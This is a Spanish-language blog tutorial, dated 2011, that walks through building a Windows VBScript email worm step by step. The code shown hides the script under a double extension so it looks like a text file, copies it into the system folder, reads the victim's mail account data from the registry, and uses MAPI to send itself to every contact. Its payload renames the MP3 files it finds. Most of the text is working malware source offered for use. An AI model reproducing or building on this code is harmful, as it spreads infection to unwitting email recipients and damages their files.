Вы находитесь на странице: 1из 8

Programando fcilmente un virus para Windows

Lunes, 21 de marzo de 2011

Windows virii

Recientemente, la historia de los virus informticosha cumplido ya cuarenta aos. Casi medio siglo de quebraderos de cabeza con los que los usuarios y las empresas han tenido que lidiar prcticamente a diario. Aquel viejo ideario de infecciones al estilo Creeper (1971) o el espaol Barrotes (1993), donde los virus representaban un arte y un reto intelectual totalmente inocuo, desencaden en una tremenda oleada de software malicioso que robaba datos, destrua sistemas operativos y producamillones de euros en prdidas. Quin no recuerda los tiempos de Viernes 13 (1988), Melissa (1999) o LoveLetter (2000)? Desgraciadamente (o afortunadamente) las herramientas para elaborar cualquier pieza de software estn hoy da al alcance de cualquiera. Los antiguos y complejos desarrollos en ensamblador han dado paso a lenguajes modernos de alto nivel, fciles de aprender y rpidos de implementar. Los archivos de proceso por lotes de MS-DOS (ficheros de extensin .BAT) fueronaquellos grandes olvidados en la programacin de virus. No obstante, los expertos en su diseo vieron en ellos una alternativa veloz y potente para desarrollar malware, y algn bicho codificado de aquella forma lleg a ver la luz, eso s, sin gran incidencia. Posteriormete, y gracias al procesamiento por lotes integrado en Windows a travs de su herramienta de administracin Windows Scripting Host (rebautizada en su segunda versin como Windows Script Host), los desarrollos vricos se multiplicaron exponencialmente, pues la potencia de desarrollo, unida a la suave curva de aprendizaje,permita generar virus mortferos en horas o, incluso (dependiendo de la pericia del programador) en minutos.

Windows Script Host (WSH) es una utilidad administrativa que se provee con todas las versiones del sistema operativo del to Bill desde Windows 98. En principio, su utilidad se basa en la generacin de archivos de lotes, sin embargo, la potencia de estos ficheros con respecto a los antiguos ficheros batch es muy superior. La fortaleza reside en dos conceptos primordiales: los lenguajes de programacin que implementa y los objetos del sistema que es capaz de manejar. WSH permite utilizar en la actualidad un amplio abanico de motores de script en su desarrollo, a saber: VBScript, JScript, PerlScript, ooRexx Script, Python Script, Tcl Script,Active PHP Script, Ruby Script, Object Rexx engine y Delphi scripting engine. Cualquier programador con conocimientos bsicos de prcticamente cualquier lenguaje puede desarrollar un script para WSH. Asimismo, estos archivos de guin son capaces de acceder a caractersticas varias de un sistema operativo tales como, por ejemplo, variables de entorno, recursos de red compartidos, impresoras, el registro, el rbol de directorios, software instalado, Internet, archivos, etctera. Una herramienta potente y un arma de doble filo. Lo que se propone aqu es una introduccin al entorno WSH a travs de aplicaciones en VBScript, el lenguaje de guin ms sencillo e intuitivo, hermano pequeo torpe de Visual Basic. Como todo tutorial de programacin que se precie, es preceptivo comenzar con una aplicacin "Hola mundo", si no esto ni es tutorial ni es nada. Los archivos de script se escriben como texto plano sin formato en cualquier editor al uso (como Bloc de notas, por ejemplo). El cdigo, con mtodos del propio WSH y en formato VBScript, es el que sigue: Cdigo VBScript WScript.Echo "Hola mundo" WScript.Quit El objeto WScript proporciona el acceso a la raz del modelo principal de objetosde WSH. No necesita ser declarado antes ser invocado, pues sus mtodos y propiedades estn siempre disponibles desde cualquier script. El mtodo Echo muestra el cuadro de mensaje tpico de Windows con un texto que se corresponde con la cadena alfanumrica que se le pasa como argumento ("Hola mundo"). Por ltimo, el mtodoQuit termina el script, forzndolo a parar su ejecucin.

Sencillo, verdad? Este archivo lo debemos guardar con la extensin .VBS y, para ejecutarlo, slo es necesario un doble clic en el icono correspondiente (o una llamada desde la lnea de comandos de la consola). Si hubisemos deseado generar un fichero JScript, los mtodos no habran variado, pues son propios del WSH, sin embargo la sintaxis habra sido sutilmente distinta: Cdigo JScript WScript.Echo ("Hola mundo"); WScript.Quit (); Este archivo, para que funcionara correctamente, habramos de guardarlo con extensin .JS. Prosiguiendo con nuestra fatdica infeccin vrica, vamos a avanzar un paso ms.Necesitamos conocer el idioma del sistema operativo , por lo que vamos a internarnos en el registro de Windows para extraer el dato de una manera elegante: Cdigo VBScript Dim WSc, IdiomaActual Set WSc = CreateObject("WScript.Shell") Sub Idioma () Dim LeerRegistro LeerRegistro = WSc.RegRead ("HKEY_CURRENT_USER\Control _ Panel\International\iCountry") Select Case LeerRegistro Case54,591,56,57,506,593,503,34,502,504,52,505,507,595,51 ,598,58 IdiomaActual = 1 Case 1,44 IdiomaActual = -1 Case Else IdiomaActual = 0 End Select End Sub Tras la declaracin inicial de variables se asigna a WSc el objeto WScript.Shell, quepermite acceder al registro, entre otras virtudes como ejecutar programas, crear accesos directos o procurar el acceso a los directorios del sistema. Estas dos

lneas estn fuera del procedimiento Sub porque necesitamos que sean declaraciones globales a todo el script (las utilizaremos despus tambin). El procedimiento Sub Idioma () permite leer la clave de registro que necesitamos mediante el mtodo RegRead de WScript.Shell y almacenarla en la variable local LeerRegistro. En funcin del valor que guarde iCountry, se asignar un1, un -1 o un 0 a la variable global IdiomaActual, que despus necesitaremos para cribar nuestra infeccin. En el caso de que IdiomaActual valga 1, el payload(efecto visible del virus) ser en castellano (se corresponde con los cdigos locales de todos los pases sudamericanos ms Espaa ); en el caso de que IdiomaActualvalga 1, el payload ser en ingls (Estados Unidos ms Gran Bretaa); en el caso deIdiomaActual valga 0 (no se ha podido determinar el idioma), el payload ser tambin en ingls, por si las moscas. Una vez obtengamos el idioma en el que est configurado el equipo que deseamos infectar,vamos a generar una copia del virus en el directorio del sistema para, desde ah, enviarlo a los contactos de correo electrnico de la mquina vctima: Cdigo VBScript Dim FSO, ArchivoAdjunto Set FSO = CreateObject("Scripting.FileSystemObject") Sub CopiaMe () Dim DirectorioSistema Set DirectorioSistema = FSO.GetSpecialFolder (1) Set ArchivoAdjunto = FSO.GetFile (WScript.ScriptFullName) Select Case IdiomaActual Case 1 ArchivoAdjunto.Copy (DirectorioSistema &"\ayudame.txt.vbs") ArchivoAdjunto = DirectorioSistema &"\ayudame.txt.vbs" Case 0,-1 ArchivoAdjunto.Copy (DirectorioSistema &"\helpme.txt.vbs") ArchivoAdjunto = DirectorioSistema & "\helpme.txt.vbs" End Select End Sub Despus de crear las variables globales pertinentes, generamos el objetoFileSystemObject, de la librera de tipos (localizada en el archivo Scrrun.dll), y lo almacenamos en la variable FSO. Este objeto posibilita el acceso a la gestin de carpetas y archivos (crear, copiar, mover, eliminar).

Ya dentro del procedimiento Sub, asignamos a DirectorioSistema el resultado deGetSpecialFolder (1), esto es, la localizacin de los archivos de sistema (directorio por defecto Windows\System). Ese 1 indica carpeta de sistema; 0 sera el directorio general Windows y 2 el directorio temporal Temp. La propiedad ScriptFullName (slo lectura) de WScript devuelve el nombre completo (ruta y nombre de archivo) del script actual mediante el mtodo GetFilede FileSystemObject. Este nombre se guarda en la variable ArchivoAdjunto. Recurriendo a la variable global anterior IdiomaActual, copiamos (Copy) nuestro virus (ArchivoAdjunto) a la carpeta de sistema con un nombre en castellano (mquinas hispanoparlantes) o en ingls (mquinas anglosajonas). El proceso de ocultacin de este tipo de virus es bien sencillo , as como tremendamente ineficaz en segn que configuraciones. Bien es sabida la capacidad de los entornos Windows para ocultar las extensiones de tipos de archivos conocidos(activada por defecto). As pues, el truco consiste en nombrar el fichero con una cadena terminada en, por ejemplo, .txt, seguida de la extensin de rigor para el archivo de script(.vbs). De esta manera, y slo si la caracterstica de ocultacin de extensiones est activada, el receptor del malware visualizar nicamente el nombre del archivo (en este caso ayudame.txt o helpme.txt), creyendo que lo que le remiten es un simple archivo de texto (nadie mira los iconos?). La sorpresa ser mayscula al momento de ejecutarlo. El siguiente paso es obtener los datos de la cuenta de correo electrnico de la vctima: Cdigo VBScript Dim ServidorSMTP, NombreCuenta, Correo Sub Cuenta() Dim LeerRegistro, NuevaClave WSc.RegWrite "HKEY_CURRENT_USER\Software\Microsoft _ \Windows Script Host\Settings\Timeout",0,"REG_DWORD" LeerRegistro = WSc.RegRead ("HKEY_CURRENT_USER\Software\ _ Microsoft\Internet Account Manager\Default Mail Account") NuevaClave = "HKEY_CURRENT_USER\Software\Microsoft _ \Internet Account Manager\" & "Accounts\" & LeerRegistro ServidorSMTP = WSc.RegRead (NuevaClave & "\SMTP Server") NombreCuenta = WSc.RegRead (NuevaClave & "\Account Name")

Correo = WSc.RegRead (NuevaClave & "\SMTP Email Address") End Sub Mediante un acceso al registro igual al anterior, extraemos la clave que guarda el nombre de la cuenta de correo por defecto (Mail Account) y generamos una nueva cadena con otra clave de registro ms el nombre de la cuenta. De esta nueva clave leemos y almacenamos la direccin del servidor SMTP de correo saliente, el nombre de la cuenta y la direccin de correo electrnico. Lo ideal ahora sera actuar sobre las reglas de mensaje del software cliente de correo electrnico, eliminndolas para que permitan el envo sin cortapisas. No nos detendremos en ello por no alargar ms el asunto, pero el cdigo no sera para nada complicado, teniendo en cuenta que se encuentran definidas y almacenadas tambin en el registro de Windows (las de Outlook Express 5, por ejemplo, enHKEY_CURRENT_USER\Identities\XXXX\Software\Microsoft\Outlook Express\5.0\Rules\Mail). Una vez recabados todos los datos, vamos a enviar nuestro virus por correo electrnico: Cdigo VBScript Sub Enviando () Set MAPISession = CreateObject ("MSMAPI.mapiSession") Set MAPIMessage = CreateObject ("MSMAPI.mapiMessages") Dim i MAPISession.LogonUI = False MAPISession.DownloadMail = False MAPISession.SignOn Set MAPIAddress = MAPISession.AddressList (0) For i = 1 To MAPIAddress.AddressEntries.Count MAPIAddress.AddressEntries (i) MAPIMessage.SessionId = MAPISession.SessionId MAPIMessage.Compose MAPIMessage.RecipDisplayName = "<atacante@virus.soy>" MAPIMessage.MsgSubject = "Asunto del mensaje" MAPIMessage.MsgNoteText = "Cuerpo del mensaje" MAPIMessage.AttachmentIndex = 0 MAPIMessage.AttachmentPathName = ArchivoAdjunto MAPIMessage.AttachmentPosition = 0 MAPIMessage.Send (0) Next i

MAPISession.SignOff End Sub En este procedimiento Sub, simplemente nos servimos de MAPI (en castellano Interfaz de Programacin de Aplicaciones de Mensajera) para enviar el correo con el archivo adjunto. Los mtodos que proporciona MAPI son lo suficientemente claros y se explican por s mismos (iniciar sesin, componer, rellenar datos, adjuntar archivos, enviar y cerrar sesin). El envo se remite a todos los contactos de la cuenta de correo en cuestin mediante un bucle que los recorre desde el primero hasta el ltimo (MAPIAddress.AddressEntries.Count). Y, para finalizar, nos queda por programar el payload del virus, esto es, la accin visible (o no visible) que se ejecutar en la mquina infectada. El payload de un virus corre a cargo de la imaginacin de cada uno. En funcin del hijoputismo con el que deseemos actuar, la accin final de un virus puede ir desde la simple molestia de mostrar un mensaje en pantalla, hasta la eliminacin de archivos vitales para el usuario o para el sistema operativo (libreras .DLL, ficheros multimedia .MP3 o .AVI, documentos.DOC, .XLS o .MDB, fotografas .JPG, etctera). Nosotros, por aquello de no dar ideas, nos vamos a quedar a medio camino. Nuestropayload simplemente mostrar un mensaje en pantalla y renombrar todos aquellos ficheros en formato MP3 que encuentre exclusivamente en el directorio raz del disco duro principal. As de sencillito: Cdigo VBScript Sub Payload () Dim Carpeta, ArchivoMP3 WScript.Echo "Soy un virus malo malsimo." Set Carpeta = FSO.GetFolder ("C:\") For Each ArchivoMP3 in Carpeta.Files If Right (ArchivoMP3.Name, 3) = LCase ("mp3") Then FSO.MoveFile ArchivoMP3.Path, Replace ("C:\" & _ ArchivoMP3.Name, ".mp3", ".vir") End If Next End Sub Mediante el mtodo GetFolder de FileSystemObject, declarado anteriormente, asigno a la variable Carpeta la ruta especificada para, despus, recorrer todos

los archivos de esa ruta (Carpeta.Files) mediante un bucle (For Each... Next) comprobando si su extensin es la que busco (Right (ArchivoMP3.Name, 3) = LCase ("mp3")). En caso afirmativo, renombro (FSO.MoveFile) cada fichero, cambiando su extensin de .MP3 a .VIR. La programacin de virus al alcance de cualquiera es una realidad desde hace ya muchos aos. Pero otra cosa tambin, la polica no es tonta y conocer al cien por cien quin ha programado un virus, cundo lo liber en Internet y dnde apareci por primera vez. Cmo lo hacen? De eso nos ocuparemos otro da. Hack the planet!, pero poquito y con cuidadn, que hacer el mal por hacer el mal es de bobos patolgicos.

Вам также может понравиться